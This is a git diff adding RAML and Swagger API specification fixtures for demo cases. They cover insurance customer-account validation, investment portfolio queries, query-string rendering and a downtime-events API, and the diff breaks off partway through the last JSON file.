+400_badrequest_validate_customer_account_hash: + displayName: A bad request for Customer Account Hash + description: A bad request generated by the API + value: + messages: + - + code: APIXXXX + description: "The timestamp is out of date" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/validate-customer-account-hash-post-request.raml b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-request.raml new file mode 100644 index 0000000..2741b65 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-request.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample + +validate_customer_account_hash_request: + displayName: A POST Validate Customer Account Hash Request Example + description: A POST Validate Customer Account Hash Request Example + value: + encryptedHash: "XXXXXXXXX" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/validate-customer-account-post-200.raml b/demo/apis/SE-11508/examples/validate-customer-account-post-200.raml new file mode 100644 index 0000000..035e8e3 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-customer-account-post-200.raml @@ -0,0 +1,76 @@ +#%RAML 1.0 NamedExample + +validateCustomerAccountSinglePolicyResponse: + displayName: Validate Customer Account Single Policy Response + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + customerAccountId: "123456789" + title: "MR" + firstName: "John" + lastName: "Smith" + email: "jsmith@provider.com" + policies: + - + id: "123456789-01" + description: "Ford Fiesta 2015" + startDate: "2019-01-01" + +validateCustomerAccountMultiplePolicyResponse: + displayName: Validate Customer Account Multiple Policy Response + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + customerAccountId: "123456789" + title: "MR" + firstName: "John" + lastName: "Smith" + email: "jsmith@provider.com" + policies: + - + id: "123456789-01" + description: "Ford Fiesta 2015" + startDate: "2019-01-01" + - + id: "123456789-02" + description: "15 High Street, Derby DE1 4DS" + startDate: "2019-02-01" + +validateCustomerAccountContainsEmailNoPingIdResponse: + displayName: Validate Customer Account Response Email is Populated, No PingId + value: + customerAccountId : "123456789" + title : "MR" + firstName : "John" + lastName : "Smith" + email: "jsmith@provider.com" + policies: + - + id: "123456789-01" + description: "Ford Fiesta 2015" + startDate: "2019-01-01" + +validateCustomerAccountContainsPingIdNoEmailResponse: + displayName: Validate Customer Account Response PingId is Populated, No Email + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + customerAccountId : "123456789" + title : "MR" + firstName : "John" + lastName : "Smith" + policies: + - + id: "123456789-01" + description: "Ford Fiesta 2015" + startDate: "2019-01-01" + +validateCustomerAccountContainsNoPingIdNoEmailResponse: + displayName: Validate Customer Account Response PingId is Populated, No Email + value: + customerAccountId : "123456789" + title : "MR" + firstName : "John" + lastName : "Smith" + policies: + - + id: "123456789-01" + description: "Ford Fiesta 2015" + startDate: "2019-01-01" diff --git a/demo/apis/SE-11508/examples/validate-customer-account-post-400.raml b/demo/apis/SE-11508/examples/validate-customer-account-post-400.raml new file mode 100644 index 0000000..969dcb6 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-customer-account-post-400.raml @@ -0,0 +1,10 @@ +#%RAML 1.0 NamedExample + +400_badrequest_for_validate_customer_account: + displayName: A bad request for Customer Account + description: A bad request generated by DISC + value: + messages: + - + code: APIXXXX + description: "'dateOfBirth' is invalid" diff --git a/demo/apis/SE-11508/examples/validate-customer-account-post-request.raml b/demo/apis/SE-11508/examples/validate-customer-account-post-request.raml new file mode 100644 index 0000000..c4b3414 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-customer-account-post-request.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 NamedExample + +ValidatePingCustomerAccountsPostExample: + displayName: An example of the POST Request for validating PING customer + value: + firstName : "John" + lastName : "Smith" + dateOfBirth : "2019-03-03" \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml new file mode 100644 index 0000000..bc06209 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml @@ -0,0 +1,10 @@ +#%RAML 1.0 SecurityScheme +description: | + A lightweight security policy which requires an Authorization http header to be set on a request. +type: x-custom +describedBy: + headers: + Authorization: + description: | + Used to pass an authorization token on the request. + type: string \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/api-headers-trait.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/api-headers-trait.raml new file mode 100644 index 0000000..85de82e --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/api-headers-trait.raml @@ -0,0 +1,20 @@ +#%RAML 1.0 Trait + + headers: + X-Trace-Id: + description: The X-Trace-Id provides API clients the opportunity to submit there own reference ID on an API request. The Id will be output in the application logs to facilate diagnostic troubleshooting. + type: string + maxLength: 64 + required: false + + X-Request-Id: + description: The X-Request-Id is a correlation identifier set on a request by the loadbalancer. + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$ + required: true + + X-Message-Id: + description: The X-Message-Id is a unique identifier for every request within the API subsystem. + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$ + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml new file mode 100644 index 0000000..193aa8d --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml @@ -0,0 +1,30 @@ +#%RAML 1.0 Trait + +responses: + 400: + description: Bad request. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 404: + description: Resource not found. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 500: + description: Internal Server Error. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/create.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/create.raml new file mode 100644 index 0000000..fe21585 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/create.raml @@ -0,0 +1,30 @@ +#%RAML 1.0 Trait + +responses: + 201: + description: Created + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 400: + description: Bad request. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 500: + description: Internal Server Error. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/customer-account-filter-trait.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/customer-account-filter-trait.raml new file mode 100644 index 0000000..68446d6 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/customer-account-filter-trait.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Trait + +queryParameters: + customeraccountid: + description: Customer Account Id + required: false + minLength: 9 + maxLength: 9 \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/delete.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/delete.raml new file mode 100644 index 0000000..0fe043d --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/delete.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 Trait + +responses: + 204: + description: No Content + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 400: + description: Bad request. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 404: + description: Resource not found. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 422: + description: Unprocessable Entity. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 500: + description: Internal Server Error. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/payment.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/payment.raml new file mode 100644 index 0000000..734842b --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/payment.raml @@ -0,0 +1,10 @@ +#%RAML 1.0 Trait + +headers: + Client-Id: + type: string + minLength: 10 + maxLength: 12 + pattern: ([\w]{3})([\.])([\w]{3})([\.])([\w]{2,4}) + example: TST.CLI.ID + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/policy-filter-trait.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/policy-filter-trait.raml new file mode 100644 index 0000000..8748dee --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/policy-filter-trait.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Trait + +queryParameters: + policyid: + description: Policy id + required: false + minLength: 12 + maxLength: 12 \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/read.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/read.raml new file mode 100644 index 0000000..7af93c5 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/read.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 Trait + +uses: + response-types: types/common-responses.raml + +responses: + 200: + description: Ok. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 400: + description: Bad request. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + body: + application/json: + properties: + messages?: response-types.ErrorMessage[] + 404: + description: Resource not found. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 500: + description: Internal Server Error. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + + \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/common-responses.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/common-responses.raml new file mode 100644 index 0000000..f4bf176 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/common-responses.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Library +usage: This library offers shared payload responses for System Traits. + +types: + ErrorMessage: + properties: + code: string + description: string \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml new file mode 100644 index 0000000..d684b89 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 Library +usage: This library offers shared error responses for System Traits. + +types: + Error: + properties: + messages : Messages[] + + Messages: + properties: + code: + description: diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/underwriting.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/underwriting.raml new file mode 100644 index 0000000..07bcec1 --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/underwriting.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 Trait +responses: + 503: + description: Service Unavailable. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/update.raml b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/update.raml new file mode 100644 index 0000000..0fe043d --- /dev/null +++ b/demo/apis/SE-11508/exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/update.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 Trait + +responses: + 204: + description: No Content + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 400: + description: Bad request. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 404: + description: Resource not found. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 422: + description: Unprocessable Entity. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true + 500: + description: Internal Server Error. + headers: + X-Trace-Id: + required: false + X-Request-Id: + required: true + X-Message-Id: + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/api-headers.raml b/demo/apis/SE-11508/model-system/api-headers.raml new file mode 100644 index 0000000..0c7c890 --- /dev/null +++ b/demo/apis/SE-11508/model-system/api-headers.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Trait + + headers: + X-Trace-Id: + description: The X-Trace-Id provides API clients the opportunity to submit there own reference ID on an API request. The Id will be output in the application logs to facilate diagnostic troubleshooting. + type: string + maxLength: 64 + required: false \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/api-strict-headers.raml b/demo/apis/SE-11508/model-system/api-strict-headers.raml new file mode 100644 index 0000000..5d04a04 --- /dev/null +++ b/demo/apis/SE-11508/model-system/api-strict-headers.raml @@ -0,0 +1,25 @@ +#%RAML 1.0 Trait + + headers: + X-Trace-Id: + description: The X-Trace-Id provides API clients the opportunity to submit there own reference ID on an API request. The Id will be output in the application logs to facilate diagnostic troubleshooting. + type: string + maxLength: 64 + required: false + + X-Request-Id: + description: The X-Request-Id is a correlation identifier set on a request by the loadbalancer. + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$ + required: true + + X-Message-Id: + description: The X-Message-Id is a unique identifier for every request within the API subsystem. + type: string + pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$ + required: true + + Brand: + description: The User Brand + type: string + required: true \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/change-credentials-type.raml b/demo/apis/SE-11508/model-system/change-credentials-type.raml new file mode 100644 index 0000000..d9ad152 --- /dev/null +++ b/demo/apis/SE-11508/model-system/change-credentials-type.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 Library + +types: + UpdateCredentials: + properties: + encryptedPassword: + description: Existing password on account in encrypted format. + newEncryptedPassword?: + description: New password to be set on account in encrypted format. + newUserName?: + description: Email Address as username to be updated on account. \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/convert-aggregator-quote-types.raml b/demo/apis/SE-11508/model-system/convert-aggregator-quote-types.raml new file mode 100644 index 0000000..cb26551 --- /dev/null +++ b/demo/apis/SE-11508/model-system/convert-aggregator-quote-types.raml @@ -0,0 +1,25 @@ +#%RAML 1.0 Library + +types: + CreatedQuote: + properties: + referenceId: + description: The newly created Customer Account ID. + quoteId?: + description: The newly created Quote ID. + source: + description: The name of the Aggregator which is the source of the click-through URL. + existingCustomer: + type: boolean + description: A boolean value to indicate whether the 'new' customer's details have been matched to an existing account. + title?: + firstName?: + lastName?: + + + AggregatorCreateQuote: + properties: + clickthroughurl: + required: true + type: string + example: https://budget-qa.doodleinsurance.co.uk/Car/BI9M/ALE/?refno=A8S000191&vehno=1&ORGAFFCLIE=CTMS&prdcls=PC&clkref=4DCFB507B8500DCB1123B3AF75F10255D92297C7 \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/create-quote-types.raml b/demo/apis/SE-11508/model-system/create-quote-types.raml new file mode 100644 index 0000000..a1d397d --- /dev/null +++ b/demo/apis/SE-11508/model-system/create-quote-types.raml @@ -0,0 +1,35 @@ +#%RAML 1.0 Library + +types: + CreateQuotePostRequest: + properties: + titleCode: string + firstName: string + lastName: string + dateOfBirth: string + maritalStatusCode: string + addressLine1: string + addressLine2?: string + addressLine3?: string + addressLine4?: string + addressLine5?: string + postCode: string + maskCode: string + product: string + clientId: string + + CreateQuotePostMatchedResponse: + properties: + customerAccountId: string + quoteId: string + titleCode: string + title: string + firstName: string + lastName: string + existingCustomer: boolean + + CreateQuotePostCreatedResponse: + properties: + customerAccountId: string + quoteId: string + existingCustomer: boolean \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/customer-accounts-types.raml b/demo/apis/SE-11508/model-system/customer-accounts-types.raml new file mode 100644 index 0000000..af5ca5d --- /dev/null +++ b/demo/apis/SE-11508/model-system/customer-accounts-types.raml @@ -0,0 +1,57 @@ +#%RAML 1.0 Library + +types: + PingBaseCustomerAccount: + properties: + id: + type: string + required: true + + PingCustomerAccount: + type: PingBaseCustomerAccount + properties: + dateOfBirth: + type: string + olssRegistered: + type: boolean + required: true + + PatchPingCustomerAccountRequest: + properties: + userId: + type: string + required: false + example: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + email: + type: string + required: false + maxLength: 50 + pattern: ^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b$ + example: "jsmith@provider.co.uk" + encryptedPassword: + type: string + required: false + example: "XXXXXXXX" + + ValidateCustomerAccountPolicy: + properties: + id: string + description: string + startDate: date-only + + ValidateCustomerAccountMatchedResponse: + properties: + userId?: string + customerAccountId: string + title: string + firstName: string + lastName: string + email?: string + policies: ValidateCustomerAccountPolicy[] + + ValidateCustomerAccountMatchedRequest: + properties: + firstName: string + lastName: string + dateOfBirth: string + \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/ping-error-messages-types.raml b/demo/apis/SE-11508/model-system/ping-error-messages-types.raml new file mode 100644 index 0000000..40f335b --- /dev/null +++ b/demo/apis/SE-11508/model-system/ping-error-messages-types.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 Library + +types: + PingErrorMessage: + properties: + code: + type: string + description: + type: string + + PingErrorMessagesResponse: + properties: + messages: + type: PingErrorMessage[] + required: false + + \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/ping-validate-credentials.raml b/demo/apis/SE-11508/model-system/ping-validate-credentials.raml new file mode 100644 index 0000000..1991487 --- /dev/null +++ b/demo/apis/SE-11508/model-system/ping-validate-credentials.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 Library + +types: + + PingValidateCredentialsResponse: + properties: + customerAccountId: + type: string + required: true + userId: + type: string + required: false + passwordMatched: + type: boolean + required: true + \ No newline at end of file diff --git a/demo/apis/SE-11508/model-system/retrieve-quotes-types.raml b/demo/apis/SE-11508/model-system/retrieve-quotes-types.raml new file mode 100644 index 0000000..618dec5 --- /dev/null +++ b/demo/apis/SE-11508/model-system/retrieve-quotes-types.raml @@ -0,0 +1,40 @@ +#%RAML 1.0 Library +types: + RetrieveQuotesResponse: + properties: + customerAccountId: + description: Valid customer account ID. + quoteId: + description: The most recent quote id found. + isTE: + type: boolean + description: Is this a TE journey? + affinityCode: + description: The affinity code of this journey. + + RetrieveQuotesRequest: + properties: + lastName: + required: true + type: string + example: "Schwarzenegger" + dateOfBirth: + required: true + type: date-only + example: "1947-07-30" + customerAccountId: + required: true + type: string + minLength: 9 + maxLength: 9 + example: "123456789" + product: + required: true + type: + enum: [ Car, Van, Home ] + example: "Car" + maskCode: + required: true + type: string + maxLength: 7 + example: "A123" \ No newline at end of file diff --git a/demo/apis/SE-12291/SE-12291.json b/demo/apis/SE-12291/SE-12291.json new file mode 100644 index 0000000..33ca778 --- /dev/null +++ b/demo/apis/SE-12291/SE-12291.json @@ -0,0 +1,357 @@ +{ + "swagger": "2.0", + "info": { + "version": "v1", + "title": "Example" + }, + "host": "sample", + "schemes": [ + "https" + ], + "paths": { + "/api/investment-administration/capital-system/v1/portfolios": { + "get": { + "tags": [ + "Portfolio" + ], + "summary": "Returns the portfolios", + "operationId": "Portfolio_GetPortfolios", + "consumes": [], + "produces": [ + "application/json" + ], + "parameters": [ + { + "name": "portfolioUids", + "in": "query", + "description": "Filters the portfolios to this set of portfolio ids", + "required": false, + "type": "array", + "items": { + "type": "integer", + "format": "int64" + }, + "collectionFormat": "multi" + }, + { + "name": "investmentPortfolioType", + "in": "query", + "description": "Filters the portfolio by portfolio type (not valid for portfolio category of index or composite)", + "required": false, + "type": "string", + "enum": [ + "AA", + "MR", + "RP", + "MX", + "GP", + "SG", + "ID", + "AD", + "AM", + "AR", + "AX", + "GA", + "GM", + "GR", + "GX", + "RM", + "SM", + "SR", + "SX", + "XM", + "FL", + "AT", + "CP", + "MG", + "IDM" + ] + }, + { + "name": "portfolioCategory", + "in": "query", + "description": "Category of the portfolios", + "required": false, + "type": "string", + "enum": [ + "Investment", + "Index", + "Composite" + ] + }, + { + "name": "containsValue", + "in": "query", + "description": "Find portfolios that contain a specific value.", + "required": false, + "type": "string" + }, + { + "name": "containsValueFields", + "in": "query", + "description": "Defaults to 1/PortfolioName. Choose which fields to find a contained value. 1 = PortfolioName, 2 = InvestmentPortfolioName, 3 = either", + "required": false, + "type": "integer", + "format": "int32" + }, + { + "name": "resultCount", + "in": "query", + "description": "Limit Results to a certain amount", + "required": false, + "type": "integer", + "format": "int32" + }, + { + "name": "investmentPortfolioProperty.name", + "in": "query", + "description": "The name of the property to filter by", + "required": false, + "type": "string" + }, + { + "name": "investmentPortfolioProperty.value", + "in": "query", + "description": "[Requires Property Name, Cannot be Filtered Alone] The value of the property must be equal to", + "required": false, + "type": "string" + }, + { + "name": "clientId", + "in": "header", + "description": "HTTP Header Parameter - Client system name that invoked this api", + "required": false, + "type": "string" + }, + { + "name": "CG-CorrelationId", + "in": "header", + "description": "HTTP Header Parameter - GUID to uniquely identify requests and correlate request & response, end-to-end", + "required": false, + "type": "string" + }, + { + "name": "metaData", + "in": "header", + "description": "HTTP Header Parameter - Comma separated name-value pairs of key elements of request", + "required": false, + "type": "string" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "$ref": "#/definitions/PortfoliosResponse" + } + }, + "204": { + "description": "NoContent" + }, + "500": { + "description": "Internal Server Error", + "schema": { + "$ref": "#/definitions/Error" + } + } + }, + "security": [ + { + "basicAuth": [] + } + ] + } + } + }, + "definitions": { + "PortfoliosResponse": { + "allOf": [ + { + "$ref": "#/definitions/ApiResponse" + }, + { + "required": [ + "portfolios" + ], + "type": "object", + "properties": { + "portfolios": { + "type": "array", + "items": { + "$ref": "#/definitions/Portfolio" + } + } + } + } + ] + }, + "Error": { + "description": "Represents a generic custom error (this is not a replacement for the HTTP errors)", + "allOf": [ + { + "$ref": "#/definitions/ApiResponse" + }, + { + "required": [ + "errors" + ], + "type": "object", + "properties": { + "errors": { + "description": "Details of why the error occurred", + "type": "array", + "items": { + "$ref": "#/definitions/ErrorMessage" + } + } + } + } + ] + }, + "ApiResponse": { + "description": "Abstract representation of a success/error response", + "required": [ + "responseMetaData" + ], + "type": "object", + "properties": { + "responseMetaData": { + "$ref": "#/definitions/ApiResponseMetaData", + "description": "The meta data associated with a response" + } + } + }, + "ApiResponseMetaData": { + "description": "Meta data describing the response to a request", + "required": [ + "apiVersion", + "timestamp" + ], + "type": "object", + "properties": { + "apiVersion": { + "description": "The version number of the API", + "type": "string" + }, + "timestamp": { + "format": "date-time", + "description": "Timestamp the response was created", + "type": "string" + } + } + }, + "ErrorMessage": { + "description": "The detailed contents of an error", + "required": [ + "id", + "code", + "message", + "createdDate" + ], + "type": "object", + "properties": { + "id": { + "description": "Unique identifier of the error message", + "type": "string" + }, + "code": { + "description": "Mnemonic identifier", + "type": "string" + }, + "message": { + "description": "Detailed message of the error", + "type": "string" + }, + "createdDate": { + "format": "date-time", + "description": "Timestamp the error was created", + "type": "string" + } + } + }, + "Portfolio": { + "description": "Definition of a generic portfolio", + "required": [ + "portfolioUid", + "name", + "category" + ], + "type": "object", + "properties": { + "portfolioUid": { + "format": "int64", + "description": "Identifiers of a Portfolio", + "type": "integer" + }, + "name": { + "description": "PortfolioName of a Portfolio", + "type": "string" + }, + "category": { + "description": "Category of a Portfolio", + "enum": [ + "Investment", + "Index", + "Composite" + ], + "type": "string" + }, + "investmentPortfolioTypeUid": { + "format": "int32", + "description": "InvestmentPortfolioType of a Portfolio", + "type": "integer", + "readOnly": true + }, + "investmentPortfolioTypeCode": { + "description": "InvestmentPortfolioTypeCode of a Portfolio", + "enum": [ + "AA", + "MR", + "RP", + "MX", + "GP", + "SG", + "ID", + "AD", + "AM", + "AR", + "AX", + "GA", + "GM", + "GR", + "GX", + "RM", + "SM", + "SR", + "SX", + "XM", + "FL", + "AT", + "CP", + "MG", + "IDM" + ], + "type": "string" + }, + "investmentPortfolioNumber": { + "description": "InvestmentPortfolioNumber of a Portfolio", + "type": "string" + }, + "investmentPortfolioName": { + "description": "InvestmentPortfolioName of a Portfolio", + "type": "string" + }, + "portfolioAliasName": { + "description": "PortfolioAliasName of a Portfolio", + "type": "string" + } + } + } + }, + "securityDefinitions": { + "basicAuth": { + "type": "basic", + "description": "Basic HTTP Authentication" + } + } +} diff --git a/demo/apis/SE-12752/SE-12752.raml b/demo/apis/SE-12752/SE-12752.raml new file mode 100644 index 0000000..d2107f9 --- /dev/null +++ b/demo/apis/SE-12752/SE-12752.raml @@ -0,0 +1,36 @@ +#%RAML 1.0 +baseUri: https://anypoint.mulesoft.com/mocking/api/v1/links/ccc5e2f5-eff9-4cc9-acb9-203c55f08d19/trn-sys-api-gabe/{version} # +title: One Query Param Required +description: | + Rendering different types of a query string in the documentation. +types: + queryParam: + minProperties: 1 + properties: + seriesNumber?: + type: number + description: A description of a series number + maximum: 1 + featureNumber?: string + otherParam: + properties: + unioned: string +/test: + get: + queryString: queryParam +/test2: + get: + queryString: otherParam +/union: + get: + queryString: queryParam | otherParam +/scalar: + get: + queryString: + type: string + example: test + description: A query string with a scalar type. +/array: + get: + queryString: + type: otherParam[] diff --git a/demo/apis/SE-12957/SE-12957.json b/demo/apis/SE-12957/SE-12957.json new file mode 100644 index 0000000..6b08c89 --- /dev/null +++ b/demo/apis/SE-12957/SE-12957.json @@ -0,0 +1,741 @@ +{ + "swagger": "2.0", + "info": { + "version": "v1", + "title": "SMART Downtime API Example4", + "description": "OAS2: URI parameters are not described nor published", + "contact": { + "name": "SMART Support", + "email": "smartsupport@res-group.com" + } + }, + "paths": { + "/api/v1/alarm/{scada-object-key}": { + "get": { + "tags": [ + "Alarm" + ], + "summary": "Get a list of alarms for a single downtime event.", + "operationId": "GetList", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The key identifies the SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The downtime event start time", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/Alarm" + } + } + } + } + } + }, + "/api/v1/downtime/site/{site-api-key}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for a site that overlap with a time period", + "operationId": "GetSite", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime/object/{scada-object-key}": { + "get": { + "tags": [ + 